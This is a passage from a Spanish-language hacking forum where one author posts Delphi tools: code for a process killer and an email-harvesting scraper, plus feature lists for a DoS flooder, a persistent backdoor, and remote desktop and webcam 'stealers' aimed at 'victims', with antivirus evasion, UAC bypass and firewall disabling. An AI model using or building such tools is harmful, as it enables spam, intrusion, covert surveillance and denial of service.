    function kill_process(option: string; arg: string): bool;
  end;

type
  TParametros = record
    Handle: Thandle;
    pid_global: DWORD;
  end;

  parametros_globales = ^TParametros;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}
// Functions

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '[+] MessageBox : OK';
      end;
    except
      begin
        Result := '[-] Error';
      end;
    end;
  end
  else
  begin
    Result := '[-] Error';
  end;
end;

// Get path of process

function get_path_by_pid(process_pid: integer): string;
type
  TQueryFullProcessImageName = function(hProcess: Thandle; dwFlags: DWORD;
    lpExeName: PChar; nSize: PDWORD): bool; stdcall;
var
  handle_process: Thandle;
  path_found: array [0 .. MAX_PATH - 1] of Char;
  query: TQueryFullProcessImageName;
  limit: Cardinal;
  code: string;
begin

  code := '';

  try
    begin
      handle_process := OpenProcess(PROCESS_QUERY_INFORMATION or
        PROCESS_VM_READ, False, process_pid);
      if GetModuleFileNameEX(handle_process, 0, path_found, MAX_PATH) <> 0 then
      begin
        code := path_found;
      end
      else if Win32MajorVersion >= 6 then
      begin
        limit := MAX_PATH;
        ZeroMemory(@path_found, MAX_PATH);
        @query := GetProcAddress(GetModuleHandle('kernel32'),
          'QueryFullProcessImageNameW');
        if query(handle_process, 0, path_found, @limit) then
        begin
          code := path_found;
        end;
      end
      else
      begin
        code := '';
      end;
      CloseHandle(handle_process);
    end;
  except
    begin
      //
    end;
  end;

  if (code = '') then
  begin
    code := '--';
  end;

  Result := code;

end;

// Functions to get window title

function EnumWindowsProc(handle_finder: Thandle; parametro: lParam)
  : bool; stdcall;
var
  pid_found: integer;
begin
  Result := True;
  GetWindowThreadProcessId(handle_finder, @pid_found);
  if parametros_globales(parametro).pid_global = pid_found then
  begin
    parametros_globales(parametro).Handle := handle_finder;
    Result := False;
  end;
end;

function get_window_by_pid(pid: integer): string;
var
  parametros: TParametros;
  title: string;
  open_handle: Thandle;

begin

  parametros.pid_global := pid;
  EnumWindows(@EnumWindowsProc, lParam(@parametros));

  repeat

    open_handle := parametros.Handle;
    parametros.Handle := GetParent(open_handle);

    title := '';
    SetLength(title, 255);
    SetLength(title, GetWindowText(open_handle, PChar(title), Length(title)));

    Result := title;

  until parametros.Handle = 0;

end;

procedure TFormHome.KillByMD5Click(Sender: TObject);
var
  argumento: string;
begin
  argumento := InputBox('DH Process Killer 0.5', 'MD5 : ', '');
  if not(argumento = '') then
  begin
    if (kill_process('md5', argumento)) then
    begin
      message_box('DH Process Killer 0.5', 'Process Killed', 'Information');
    end
    else
    begin
      message_box('DH Process Killer 0.5', 'Error killing process', 'Error');
    end;
  end
  else
  begin
    message_box('DH Process Killer 0.5', 'Write MD5', 'Warning');
  end;
  listar_procesos();
end;

procedure TFormHome.KillByNameClick(Sender: TObject);
var
  argumento: string;
begin
  argumento := InputBox('DH Process Killer 0.5', 'Name : ', '');
  if not(argumento = '') then
  begin
    if (kill_process('name', argumento)) then
    begin
      message_box('DH Process Killer 0.5', 'Process Killed', 'Information');
    end
    else
    begin
      message_box('DH Process Killer 0.5', 'Error killing process', 'Error');
    end;
  end
  else
  begin
    message_box('DH Process Killer 0.5', 'Write Name', 'Warning');
  end;
  listar_procesos();
end;

procedure TFormHome.KillByPIDClick(Sender: TObject);
var
  argumento: string;
begin
  argumento := InputBox('DH Process Killer', 'PID : ', '');
  if not(argumento = '') then
  begin
    if (kill_process('pid', argumento)) then
    begin
      message_box('DH Process Killer 0.5', 'Process Killed', 'Information');
    end
    else
    begin
      message_box('DH Process Killer 0.5', 'Error killing process', 'Error');
    end;
  end
  else
  begin
    message_box('DH Process Killer 0.5', 'Write PID', 'Warning');
  end;
  listar_procesos();
end;

procedure TFormHome.KillSelectedClick(Sender: TObject);
var
  process_id: string;
begin
  if not(lvProcess.Itemindex = -1) then
  begin
    process_id := lvProcess.Selected.Caption;
    if (kill_process('pid', process_id)) then
    begin
      message_box('DH Process Killer 0.5', 'Process Killed', 'Information');
    end
    else
    begin
      message_box('DH Process Killer 0.5', 'Error killing process', 'Error');
    end;
  end
  else
  begin
    message_box('DH Process Killer 0.5', 'Select Process', 'Warning');
  end;
  listar_procesos();
end;

function TFormHome.kill_process(option: string; arg: string): bool;
var
  tools: T_DH_Tools;
  loop_run: bool;
  Handle: Thandle;
  process_load: TProcessEntry32;
  resultado: bool;
  check_ok: bool;
  path: string;
  md5_to_check: string;
begin

  resultado := False;

  tools := T_DH_Tools.Create();

  try
    begin
      Handle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      process_load.dwSize := SizeOf(process_load);
      loop_run := Process32First(Handle, process_load);

      while integer(loop_run) <> 0 do
      begin

        if (option = 'pid') then
        begin
          if (process_load.th32ProcessID = StrToInt(arg)) then
          begin
            TerminateProcess(OpenProcess(PROCESS_TERMINATE, bool(0),
              process_load.th32ProcessID), 0);
            resultado := True;
            check_ok := True;
            break;
          end;
        end;

        if (option = 'name') then
        begin
          if (ExtractFileName(process_load.szExeFile) = arg) then
          begin
            TerminateProcess(OpenProcess(PROCESS_TERMINATE, bool(0),
              process_load.th32ProcessID), 0);
            resultado := True;
            check_ok := True;
            break;
          end;
        end;

        if (option = 'md5') then
        begin
          path := get_path_by_pid(process_load.th32ProcessID);
          if (FileExists(path)) then
          begin
            md5_to_check := tools.get_file_md5(path);
            if (md5_to_check = arg) then
            begin
              TerminateProcess(OpenProcess(PROCESS_TERMINATE, bool(0),
                process_load.th32ProcessID), 0);
              resultado := True;
              check_ok := True;
              break;
            end;
          end
        end;

        loop_run := Process32Next(Handle, process_load);
      end;
      if not(check_ok = True) then
      begin
        resultado := False;
      end;
      CloseHandle(Handle);
    end;
  except
    begin
      resultado := False;
    end;
  end;

  tools.Free;

  Result := resultado;

end;

//

procedure TFormHome.listar_procesos;
var
  handle_process: Thandle;
  check_process: LongBool;
  process_load: TProcessEntry32;
  lista: TListItem;
  path: string;
  getdata: SHFILEINFO;
  icono: TIcon;
  cantidad: integer;
var
  Handle: Thandle;
  title: string;
  pid: integer;
begin

  cantidad := 0;

  handle_process := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  process_load.dwSize := SizeOf(process_load);
  check_process := Process32First(handle_process, process_load);

  lvProcess.Items.Clear;

  while check_process do
  begin

    Inc(cantidad);

    lista := lvProcess.Items.Add;
    lista.Caption := IntToStr(process_load.th32ProcessID);
    lista.SubItems.Add(process_load.szExeFile);

    path := get_path_by_pid(process_load.th32ProcessID);

    if (FileExists(path)) then
    begin
      SHGetFileInfo(PChar(path), 0, getdata, SizeOf(getdata),
        SHGFI_ICON or SHGFI_SMALLICON);
    end
    else
    begin
      SHGetFileInfo(PChar('C:\Windows\System32\ftp.exe'), 0, getdata,
        SizeOf(getdata), SHGFI_ICON or SHGFI_SMALLICON);
    end;

    icono := TIcon.Create;

    icono.Handle := getdata.hIcon;
    lista.ImageIndex := ilIconosProcesos.AddIcon(icono);

    lista.SubItems.Add(path);

    title := get_window_by_pid(process_load.th32ProcessID);

    if (title = '') then
    begin
      title := '--';
    end;

    lista.SubItems.Add(title);

    DestroyIcon(getdata.hIcon);
    icono.Free;

    check_process := Process32Next(handle_process, process_load);

  end;

  gbProcessFound.Caption := 'Process Found : ' + IntToStr(cantidad);

end;

procedure TFormHome.RefreshListClick(Sender: TObject);
begin
  listar_procesos();
end;

procedure TFormHome.FormCreate(Sender: TObject);
begin
  listar_procesos();
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Eso seria todo.
#8
Delphi / [Delphi] DH Spider 1.0
Noviembre 25, 2016, 11:43:41 AM
Un programa en Delphi para buscar emails en Google,Bing o en un wordlist con paginas.

Se pueden guardar los resultados en logs , usa threads para ser mas rapido y borra repetidos en los resultados.

Una imagen :



El codigo :

Código: php

// DH Spider 1.0
// (C) Doddy Hackman 2016

unit spider;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.Menus, Vcl.ExtCtrls, Vcl.ComCtrls,
  Vcl.StdCtrls, Vcl.Styles.Utils.Menus, Vcl.Styles.Utils.SysStyleHook,
  Vcl.Styles.Utils.SysControls, Math, Vcl.Imaging.pngimage,
  Vcl.ImgList, DH_Searcher, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, PerlRegex, OtlThreadPool, OtlComm, OtlTask,
  OtlTaskControl;

type
  TFormHome = class(TForm)
    imgLogo: TImage;
    pcMenu: TPageControl;
    tsLinks: TTabSheet;
    tsSpider: TTabSheet;
    status: TStatusBar;
    gbLinks: TGroupBox;
    lvLinks: TListView;
    gbEmailsFound: TGroupBox;
    lvEmailsFound: TListView;
    odOpenFile: TOpenDialog;
    sdSaveLogs: TSaveDialog;
    ilIconos: TImageList;
    ilIconos2: TImageList;
    tsSearcher: TTabSheet;
    tsAbout: TTabSheet;
    gbSearcher: TGroupBox;
    lblDork: TLabel;
    txtDork: TEdit;
    lblPages: TLabel;
    txtPages: TEdit;
    udPages: TUpDown;
    lblOption: TLabel;
    cmbOption: TComboBox;
    btnStartSearch: TButton;
    btnStopSearch: TButton;
    btnStartScan: TButton;
    btnStopScan: TButton;
    gbAbout: TGroupBox;
    about: TImage;
    panelAbout: TPanel;
    labelAbout: TLabel;
    pmLinksOptions: TPopupMenu;
    ItemLoadFromFile: TMenuItem;
    ItemSaveLinks: TMenuItem;
    ItemClearListLinks: TMenuItem;
    pmEmailsOptions: TPopupMenu;
    ItemSaveEmails: TMenuItem;
    ItemClearListEmails: TMenuItem;
    lblThreads: TLabel;
    txtThreads: TEdit;
    udThreads: TUpDown;
    procedure FormCreate(Sender: TObject);
    procedure btnStartSearchClick(Sender: TObject);
    procedure btnStopSearchClick(Sender: TObject);
    procedure btnStartScanClick(Sender: TObject);
    procedure btnStopScanClick(Sender: TObject);
    procedure ItemLoadFromFileClick(Sender: TObject);
    procedure ItemSaveEmailsClick(Sender: TObject);
    procedure ItemClearListLinksClick(Sender: TObject);
    procedure ItemClearListEmailsClick(Sender: TObject);
    function toma(page: string): string;
    procedure ItemSaveLinksClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    stop: boolean;
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}
// Functions

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '[+] MessageBox : OK';
      end;
    except
      begin
        Result := '[-] Error';
      end;
    end;
  end
  else
  begin
    Result := '[-] Error';
  end;
end;

function savefile(archivo, texto: string): bool;
var
  open_file: TextFile;
begin
  try
    begin
      AssignFile(open_file, archivo);
      FileMode := fmOpenWrite;

      if FileExists(archivo) then
      begin
        Append(open_file);
      end
      else
      begin
        Rewrite(open_file);
      end;

      Write(open_file, texto);
      CloseFile(open_file);
      Result := True;
    end;
  except
    Result := False;
  end;
end;

//

procedure TFormHome.FormCreate(Sender: TObject);
begin
  UseLatestCommonDialogs := False;
  odOpenFile.InitialDir := GetCurrentDir;
  odOpenFile.Filter := 'TXT files (*.txt)|*.TXT';
  sdSaveLogs.InitialDir := GetCurrentDir;
  sdSaveLogs.Filter := 'TXT files (*.txt)|*.TXT';
end;

procedure TFormHome.btnStartSearchClick(Sender: TObject);
var
  searcher: T_DH_Searcher;
  links: other_array_searcher;
  i: integer;
  dork: string;
  count: integer;
  counter: integer;
begin
  counter := 0;
  dork := txtDork.Text;
  count := StrToInt(txtPages.Text);
  if not(dork = '') and (count > 0) then
  begin
    GlobalOmniThreadPool.MaxExecuting := StrToInt(txtThreads.Text) *
      System.CPUCount;
    searcher := T_DH_Searcher.Create();

    CreateTask(
      procedure(const task: IOmniTask)
      var
        dork_to_load: string;
        pages_to_load: integer;
      begin

        dork_to_load := task.Param['dork'].AsString;
        pages_to_load := task.Param['pages'].AsInteger;

        status.Panels[0].Text := '[+] Searching ...';
        FormHome.Update;

        if (cmbOption.Text = 'Google') then
        begin
          links := searcher.search_google(dork, count);
        end;
        if (cmbOption.Text = 'Bing') then
        begin
          links := searcher.search_bing(dork, count);
        end;

      end).SetParameter('dork', dork).SetParameter('pages', count)
      .Unobserved.Schedule;

    while GlobalOmniThreadPool.CountExecuting +
      GlobalOmniThreadPool.CountQueued > 0 do
    begin
      Application.ProcessMessages;
    end;

    For i := Low(links) to High(links) do
    begin
      with lvLinks.Items.Add do
      begin
        Caption := links[i];
        Inc(counter);
      end;
    end;
    searcher.Free();
    gbLinks.Caption := 'Links Found : ' + IntToStr(counter);
    if (counter > 0) then
    begin
      status.Panels[0].Text := '[+] Links Found : ' + IntToStr(counter);
      FormHome.Update;
      message_box('DH Spider 1.0', 'Links Found : ' + IntToStr(counter),
        'Information');
    end
    else
    begin
      status.Panels[0].Text := '[-] Links not found';
      FormHome.Update;
      message_box('DH Spider 1.0', 'Links not found', 'Warning');
    end;
  end
  else
  begin
    message_box('DH Spider 1.0', 'Complete the form', 'Warning');
  end;
end;

procedure TFormHome.btnStopSearchClick(Sender: TObject);
begin
  GlobalOmniThreadPool.CancelAll;
  status.Panels[0].Text := '[+] Stopped';
  FormHome.Update;
  message_box('DH Spider 1.0', 'Scan Stopped', 'Information');
end;

function TFormHome.toma(page: string): string;
var
  nave: TIdHTTP;
  code: string;
begin
  code := '';
  try
    begin
      nave := TIdHTTP.Create(nil);
      nave.Request.UserAgent :=
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0';
      code := nave.Get(page);
      nave.Free();
    end;
  except
    begin
      //
    end;
  end;
  Result := code;
end;

procedure TFormHome.btnStartScanClick(Sender: TObject);
var
  page, code, email: string;
  emails: TStringList;
  links: TStringList;
  link: string;
  i, j: integer;
  regex: TPerlRegEx;
  new_item: TListItem;
  counter: integer;
begin
  GlobalOmniThreadPool.MaxExecuting := StrToInt(txtThreads.Text) *
    System.CPUCount;
  counter := 0;
  i := 0;
  j := 0;
  emails := TStringList.Create();
  links := TStringList.Create();
  if (lvLinks.Items.count > 0) then
  begin
    for i := 0 to lvLinks.Items.count - 1 do
    begin
      Application.ProcessMessages;
      page := lvLinks.Items[i].Caption;

      CreateTask(
        procedure(const task: IOmniTask)
        var
          page_to_load: string;
        begin

          page_to_load := task.Param['page'].AsString;

          status.Panels[0].Text := '[+] Checking page : ' +
            page_to_load + ' ...';
          FormHome.Update;

          code := toma(page_to_load);

          regex := TPerlRegEx.Create();

          regex.regex := '[A-Z0-9._%+-]+\@[A-Z0-9.-]+\.[A-Z]{2,4}';
          regex.options := [preCaseLess];
          regex.Subject := code;

          while regex.MatchAgain do
          begin
            Inc(counter);
            new_item := lvEmailsFound.Items.Add;
            new_item.Caption := regex.Groups[0];
            new_item.SubItems.Add(page_to_load);
          end;

          regex.Free();

        end).SetParameter('page', page).Unobserved.Schedule;

    end;

    while GlobalOmniThreadPool.CountExecuting +
      GlobalOmniThreadPool.CountQueued > 0 do
    begin
      Application.ProcessMessages;
    end;

    if (counter > 0) then
    begin
      gbEmailsFound.Caption := 'Emails Found : ' + IntToStr(counter);
      status.Panels[0].Text := '[+] Emails Found : ' + IntToStr(counter);
      FormHome.Update;
      message_box('DH Spider 1.0', 'Emails Found : ' + IntToStr(counter),
        'Information');
    end
    else
    begin
      status.Panels[0].Text := '[-] Emails not found';
      FormHome.Update;
      message_box('DH Spider 1.0', 'Emails not found', 'Warning');
    end;
  end
  else
  begin
    message_box('DH Spider 1.0', 'Links not found', 'Warning');
  end;
end;

procedure TFormHome.btnStopScanClick(Sender: TObject);
begin
  GlobalOmniThreadPool.CancelAll;
  stop := True;
  status.Panels[0].Text := '[+] Stopped';
  FormHome.Update;
  message_box('DH Spider 1.0', 'Scan Stopped', 'Information');
end;

procedure TFormHome.ItemClearListEmailsClick(Sender: TObject);
begin
  gbEmailsFound.Caption := 'Emails Found';
  lvEmailsFound.Items.Clear;
  message_box('DH Spider 1.0', 'List Cleaned', 'Information');
end;

procedure TFormHome.ItemClearListLinksClick(Sender: TObject);
begin
  gbLinks.Caption := 'Links Found';
  lvLinks.Items.Clear();
  message_box('DH Spider 1.0', 'List Cleaned', 'Information');
end;

procedure TFormHome.ItemLoadFromFileClick(Sender: TObject);
var
  filename: string;
  lineas: TStringList;
  i: integer;
  counter: integer;
begin
  counter := 0;
  if (odOpenFile.Execute) then
  begin
    filename := odOpenFile.filename;
    if (FileExists(filename)) then
    begin
      status.Panels[0].Text := '[+] Loading file ...';
      FormHome.Update;
      lineas := TStringList.Create();
      lineas.Loadfromfile(filename);
      for i := 0 to lineas.count - 1 do
      begin
        with lvLinks.Items.Add do
        begin
          Caption := lineas[i];
          Inc(counter);
        end;
      end;
      lineas.Free;
      gbLinks.Caption := 'Links Found : ' + IntToStr(counter);
      if (counter > 0) then
      begin
        status.Panels[0].Text := '[+] Links Found : ' + IntToStr(counter);
        FormHome.Update;
        message_box('DH Spider 1.0', 'Links Found : ' + IntToStr(counter),
          'Information');
      end
      else
      begin
        status.Panels[0].Text := '[-] Links not found';
        FormHome.Update;
        message_box('DH Spider 1.0', 'Links not found', 'Warning');
      end;
    end
    else
    begin
      message_box('DH Spider 1.0', 'File not found', 'Warning');
    end;
  end;
end;

procedure TFormHome.ItemSaveEmailsClick(Sender: TObject);
var
  i: integer;
  i2: integer;
  emails: TStringList;
begin
  if (lvEmailsFound.Items.count > 0) then
  begin
    if (sdSaveLogs.Execute) then
    begin

      emails := TStringList.Create();

      for i := 0 to lvEmailsFound.Items.count - 1 do
      begin
        emails.Add(lvEmailsFound.Items[i].Caption);
      end;

      emails.Sorted := True;

      for i2 := 0 to emails.count - 1 do
      begin
        savefile(sdSaveLogs.filename, emails[i2] + sLineBreak);
      end;

      emails.Free();

      status.Panels[0].Text := '[+] Logs saved';
      FormHome.Update;

      message_box('DH Spider 1.0', 'Emails saved', 'Information');
    end
    else
    begin
      message_box('DH Spider 1.0', 'File not found', 'Warning');
    end;
  end
  else
  begin
    message_box('DH Spider 1.0', 'Emails not found', 'Warning');
  end;
end;

procedure TFormHome.ItemSaveLinksClick(Sender: TObject);
var
  i: integer;
  i2: integer;
  links: TStringList;
begin
  if (lvLinks.Items.count > 0) then
  begin
    if (sdSaveLogs.Execute) then
    begin

      links := TStringList.Create();

      for i := 0 to lvLinks.Items.count - 1 do
      begin
        links.Add(lvLinks.Items[i].Caption);
      end;

      links.Sorted := True;

      for i2 := 0 to links.count - 1 do
      begin
        savefile(sdSaveLogs.filename, links[i2] + sLineBreak);
      end;

      links.Free();

      status.Panels[0].Text := '[+] Logs saved';
      FormHome.Update;

      message_box('DH Spider 1.0', 'Links saved', 'Information');
    end
    else
    begin
      message_box('DH Spider 1.0', 'File not found', 'Warning');
    end;
  end
  else
  begin
    message_box('DH Spider 1.0', 'Links not found', 'Warning');
  end;
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Eso seria todo.
#9
Delphi / [Delphi] DH DoS Tools 1.0
Noviembre 17, 2016, 09:13:37 AM
Un programa para hacer Dos (o mas bien floodear) hecho en Delphi.

Tiene las siguientes opciones :

  • Principales :

  • Permite seleccionar la cantidad de threads a usar
  • HTTP Flood
  • Socket Flood
  • SQLI DoS
  • Slowloris
  • UDP Flood

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#10
Delphi / [Delphi] Heaven Door 1.0
Noviembre 11, 2016, 01:30:30 PM
Un programa en Delphi que funciona como un backdoor persistente de conexion directa.

Tiene las siguientes opciones :

  • Principales :

  • Backdoor persistente de conexion directa

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Unas imagenes :





    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#11
Delphi / [Delphi] DH Remote Desktop 1.0
Noviembre 03, 2016, 09:54:20 AM
Un programa en Delphi para capturar el escritorio de una "victima".

Tiene las siguientes opciones :

  • Principales :

  • Capturar escritorio de la victima de forma remota

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#12
Delphi / [Delphi] DH Webcam Stealer 1.0
Noviembre 03, 2016, 09:53:21 AM
Un programa en Delphi para capturar la webcam de una "victima".

Tiene las siguientes opciones :

  • Principales :

  • Capturar escritorio de la webcam de forma remota

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#13
Delphi / [Delphi] DH Database Manager 0.8
Octubre 28, 2016, 05:16:16 PM
Un programa en Delphi para administrar bases de datos del tipo :

  • MSSQL
  • MySQL
  • SQLite

    Unas imagenes :







    El codigo :

    Código: delphi

    // DH Database Manager 0.8
    // (C) Doddy Hackman 2016

    unit manager;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.ComCtrls,
      Vcl.StdCtrls,
      Vcl.DBCtrls, Vcl.Grids, Vcl.DBGrids, ZAbstractConnection, ZConnection,
      ZAbstractTable, ZDataset, Data.DB, ZAbstractRODataset, ZAbstractDataset,
      ShellApi, Vcl.ImgList, Vcl.Imaging.pngimage;

    type
      TFormHome = class(TForm)
        imgLogo: TImage;
        status: TStatusBar;
        pcOptions: TPageControl;
        tsConfiguration: TTabSheet;
        tsOptions: TTabSheet;
        tsGrid: TTabSheet;
        gbConfiguration: TGroupBox;
        lblHost: TLabel;
        txtHostname: TEdit;
        lblPort: TLabel;
        txtPort: TEdit;
        lblUsername: TLabel;
        txtUsername: TEdit;
        lblPassword: TLabel;
        txtPassword: TEdit;
        lblDatabase: TLabel;
        txtDatabase: TEdit;
        cmbService: TComboBox;
        btnConnect: TButton;
        btnDisconnect: TButton;
        gbOptions: TGroupBox;
        lblTable: TLabel;
        lblSQL_Query: TLabel;
        cmbTables: TComboBox;
        txtSQL_Query: TEdit;
        btnLoadTable: TButton;
        btnExecute: TButton;
        connection: TZConnection;
        lblService: TLabel;
        grid_connection: TDBGrid;
        nav_connection: TDBNavigator;
        query_connection: TZQuery;
        table_connection: TZTable;
        datasource_connection: TDataSource;
        btnLoadDB: TButton;
        odLoadDB: TOpenDialog;
        btnRefreshTables: TButton;
        ilIconosMenu: TImageList;
        ilIconosBotones: TImageList;
        procedure btnConnectClick(Sender: TObject);
        procedure btnDisconnectClick(Sender: TObject);
        procedure btnLoadTableClick(Sender: TObject);
        procedure btnExecuteClick(Sender: TObject);
        procedure cmbServiceSelect(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure btnLoadDBClick(Sender: TObject);
        procedure btnRefreshTablesClick(Sender: TObject);
      private
        { Private declarations }
        procedure DragDropFile(var Msg: TMessage); message WM_DROPFILES;
      public
        { Public declarations }
        procedure cargarTablas();
      end;

    var
      FormHome: TFormHome;

    implementation

    {$R *.dfm}
    // Functions

    function message_box(title, message_text, type_message: string): string;
    begin
      if not(title = '') and not(message_text = '') and not(type_message = '') then
      begin
        try
          begin
            if (type_message = 'Information') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONINFORMATION);
            end
            else if (type_message = 'Warning') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONWARNING);
            end
            else if (type_message = 'Question') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONQUESTION);
            end
            else if (type_message = 'Error') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONERROR);
            end
            else
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONINFORMATION);
            end;
            Result := '[+] MessageBox : OK';
          end;
        except
          begin
            Result := '[-] Error';
          end;
        end;
      end
      else
      begin
        Result := '[-] Error';
      end;
    end;

    // Function to DragDrop

    // Based in : http://www.clubdelphi.com/foros/showthread.php?t=85665
    // Thanks to ecfisa

    var
      bypass_window: function(Msg: Cardinal; dwFlag: Word): BOOL; stdcall;

    procedure TFormHome.DragDropFile(var Msg: TMessage);
    var
      nombre_archivo, extension: string;
      limite, number: integer;
      path: array [0 .. MAX_COMPUTERNAME_LENGTH + MAX_PATH] of char;
    begin
      limite := DragQueryFile(Msg.WParam, $FFFFFFFF, path, 255) - 1;
      if (Win32MajorVersion = 6) and (Win32MinorVersion > 0) then
        for number := 0 to limite do
        begin
          bypass_window(number, 1);
        end;
      for number := 0 to limite do
      begin
        DragQueryFile(Msg.WParam, number, path, 255);

        //

        if (FileExists(path)) then
        begin
          nombre_archivo := ExtractFilename(path);
          extension := ExtractFileExt(path);
          extension := StringReplace(extension, '.', '',
            [rfReplaceAll, rfIgnoreCase]);
          if (extension = 'sqlite') or (extension = 'db3') or (extension = 's3db')
          then
          begin
            txtDatabase.Text := path;
            status.Panels[0].Text := '[+] DB Loaded';
            message_box('DH Database Manager 0.8', 'DB Loaded', 'Information');
          end
          else
          begin
            status.Panels[0].Text := '[-] The DB is not valid';
            message_box('DH Database Manager 0.8', 'The DB is not valid',
              'Warning');
          end;
        end;

        //

      end;
      DragFinish(Msg.WParam);
    end;

    //

    procedure TFormHome.cargarTablas();
    var
      lst: TStrings;
      count: integer;
    begin
      if (connection.Connected = true) then
      begin
        try
          begin
            cmbTables.Clear;
            lst := TStringList.Create;
            connection.GetTableNames('', lst);
            count := lst.count;
            cmbTables.Items.Assign(lst);
            lst.Free();
            if (count >= 1) then
            begin
              cmbTables.ItemIndex := 0;
            end;
            ShowMessage('Tables loaded : ' + IntToStr(count));
          end;
        except
          begin
            ShowMessage('Tables not found');
          end;
        end;
      end
      else
      begin
        message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
      end;
    end;

    procedure TFormHome.cmbServiceSelect(Sender: TObject);
    begin
      if (cmbService.Text = 'MSSQL') then
      begin
        txtDatabase.ReadOnly := false;
        btnLoadDB.Enabled := false;
      end
      else if (cmbService.Text = 'MYSQL') then
      begin
        txtDatabase.ReadOnly := false;
        btnLoadDB.Enabled := false;
      end
      else if (cmbService.Text = 'SQLITE') then
      begin
        txtDatabase.Text := '';
